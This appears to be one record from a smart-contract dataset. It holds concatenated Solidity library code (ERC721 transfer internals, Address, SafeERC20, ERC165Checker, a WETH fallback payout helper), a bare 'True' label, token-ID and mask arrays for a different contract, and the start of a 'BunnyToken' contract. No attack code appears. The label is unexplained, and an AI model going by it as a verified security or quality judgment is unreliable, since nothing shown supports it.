* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Lookup engine interface
*/
interface IRoyaltyEngineV1 is IERC165 {
/**
* Get the royalty for a given token (address, id) and value amount. Does not cache the bps/amounts. Caches the spec for a given token address
*
* @param tokenAddress - The address of the token
* @param tokenId - The id of the token
* @param value - The value you wish to get the royalty of
*
* returns Two arrays of equal length, royalty recipients and the corresponding amount each recipient should get
*/
function getRoyalty(address tokenAddress, uint256 tokenId, uint256 value) external returns(address payable[] memory recipients, uint256[] memory amounts);
/**
* View only version of getRoyalty
*
* @param tokenAddress - The address of the token
* @param tokenId - The id of the token
* @param value - The value you wish to get the royalty of
*
* returns Two arrays of equal length, royalty recipients and the corresponding amount each recipient should get
*/
function getRoyaltyView(address tokenAddress, uint256 tokenId, uint256 value) external view returns(address payable[] memory recipients, uint256[] memory amounts);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Checker.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return
_supportsERC165Interface(account, type(IERC165).interfaceId) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return supportsERC165(account) && _supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns a boolean array where each value corresponds to the
* interfaces passed in and whether they're supported or not. This allows
* you to batch check interfaces for a contract where your expectation
* is that some interfaces may not be supported.
*
* See {IERC165-supportsInterface}.
*
* _Available since v3.4._
*/
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds)
internal
view
returns (bool[] memory)
{
// an array of booleans corresponding to interfaceIds and whether they're supported or not
bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);
// query support of ERC165 itself
if (supportsERC165(account)) {
// query support of each interface in interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);
}
}
return interfaceIdsSupported;
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
bytes memory encodedParams = abi.encodeWithSelector(IERC165.supportsInterface.selector, interfaceId);
(bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams);
if (result.length < 32) return false;
return success && abi.decode(result, (bool));
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {IWETH} from "./IWETH.sol";
/// @title OutgoingTransferSupportV1
/// @author tbtstl <[email protected]>
/// @notice This contract extension supports paying out funds to an external recipient
contract OutgoingTransferSupportV1 {
using SafeERC20 for IERC20;
IWETH immutable weth;
constructor(address _wethAddress) {
weth = IWETH(_wethAddress);
}
/// @notice Handle an outgoing funds transfer
/// @dev Wraps ETH in WETH if the receiver cannot receive ETH, noop if the funds to be sent are 0 or recipient is invalid
/// @param _dest The destination for the funds
/// @param _amount The amount to be sent
/// @param _currency The currency to send funds in, or address(0) for ETH
/// @param _gasLimit The gas limit to use when attempting a payment (if 0, gasleft() is used)
function _handleOutgoingTransfer(
address _dest,
uint256 _amount,
address _currency,
uint256 _gasLimit
) internal {
if (_amount == 0 || _dest == address(0)) {
return;
}
// Handle ETH payment
if (_currency == address(0)) {
require(address(this).balance >= _amount, "_handleOutgoingTransfer insolvent");
// If no gas limit was provided or provided gas limit greater than gas left, just use the remaining gas.
uint256 gas = (_gasLimit == 0 || _gasLimit > gasleft()) ? gasleft() : _gasLimit;
(bool success, ) = _dest.call{value: _amount, gas: gas}("");
// If the ETH transfer fails (sigh), wrap the ETH and try send it as WETH.
if (!success) {
weth.deposit{value: _amount}();
IERC20(address(weth)).safeTransfer(_dest, _amount);
}
} else {
IERC20(_currency).safeTransfer(_dest, _amount);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 wad) external;
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
2184,
1025,
12324,
1063,
2128,
4765,
5521,
5666,
18405,
1065,
2013,
1000,
1030,
10958,
3089,
1011,
3007,
1013,
14017,
8585,
1013,
5034,
2278,
1013,
21183,
12146,
1013,
2128,
4765,
5521,
5666,
18405,
1012,
14017,
1000,
1025,
12324,
1063,
29464,
11890,
2581,
17465,
1065,
2013,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
29464,
11890,
2581,
17465,
1012,
14017,
1000,
1025,
12324,
1063,
9413,
2278,
2581,
17465,
6494,
3619,
7512,
16001,
4842,
1065,
2013,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
1012,
1012,
1013,
1012,
1012,
1013,
4651,
16001,
7347,
1013,
9413,
2278,
2581,
17465,
6494,
3619,
7512,
16001,
4842,
1012,
14017,
1000,
1025,
12324,
1063,
7408,
4502,
29337,
10422,
9397,
11589,
2615,
2487,
1065,
2013,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
1012,
1012,
1013,
1012,
1012,
1013,
2691,
1013,
7408,
4502,
29337,
10422,
9397,
11589,
1013,
7408,
4502,
29337,
10422,
9397,
11589,
2615,
2487,
1012,
14017,
1000,
1025,
12324,
1063,
11336,
28987,
3070,
6342,
9397,
11589,
2615,
2487,
1065,
2013,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
1012,
1012,
1013,
1012,
1012,
1013,
2691,
1013,
11336,
28987,
3070,
6342,
9397,
11589,
1013,
11336,
28987,
3070,
6342,
9397,
11589,
2615,
2487,
1012,
14017,
1000,
1025,
12324,
1063,
20868,
6810,
2099,
3726,
4887,
7542,
23695,
13462,
2232,
1065,
2013,
1000,
1012,
1013,
20868,
6810,
2099,
3726,
4887,
7542,
23695,
13462,
2232,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1030,
2516,
3914,
10470,
2424,
2545,
3802,
2232,
1013,
1013,
1013,
1030,
3166,
13970,
26518,
3217,
4819,
1013,
1013,
1013,
1030,
5060,
11336,
5815,
2424,
2545,
7408,
2000,
3914,
10470,
4563,
3802,
2232,
3206,
3914,
4887,
7542,
23695,
13462,
2232,
2003,
20868,
6810,
2099,
3726,
4887,
7542,
23695,
13462,
2232,
1010,
2128,
4765,
5521,
5666,
18405,
1010,
7408,
4502,
29337,
10422,
9397,
11589,
2615,
2487,
1010,
11336,
28987,
3070,
6342,
9397,
11589,
2615,
2487,
1063,
1013,
1013,
1013,
1030,
5060,
1996,
6263,
3815,
1997,
2051,
2187,
1999,
2019,
10470,
2044,
1037,
2047,
7226,
2003,
2580,
21318,
3372,
16048,
5377,
2051,
1035,
17698,
1027,
2321,
2781,
1025,
1013,
1013,
1013,
1030,
5060,
1996,
6263,
7017,
4489,
2090,
2048,
20723,
21318,
3372,
2620,
5377,
8117,
1035,
7226,
1035,
4297,
28578,
4765,
1035,
7017,
1027,
2184,
1025,
1013,
1013,
1013,
1030,
5060,
1996,
1062,
6525,
9413,
2278,
1011,
5824,
2487,
4651,
2393,
2121,
9413,
2278,
2581,
17465,
6494,
3619,
7512,
16001,
4842,
2270,
10047,
28120,
3085,
9413,
2278,
2581,
17465,
6494,
3619,
7512,
16001,
4842,
1025,
1013,
1013,
1013,
1030,
5060,
1996,
10470,
2005,
1037,
2445,
1050,
6199,
1010,
2065,
2028,
6526,
1013,
1013,
1013,
1030,
16475,
9413,
2278,
1011,
5824,
2487,
19204,
3206,
1027,
1028,
9413,
2278,
1011,
5824,
2487,
19204,
8909,
1027,
1028,
10470,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
21318,
3372,
17788,
2575,
1027,
1028,
10470,
1007,
1007,
2270,
10470,
29278,
2078,
6199,
1025,
1013,
1013,
1013,
1030,
5060,
1996,
27425,
2005,
1037,
2445,
10470,
1013,
1013,
1013,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract BunnyToken {
// Public variables of the token
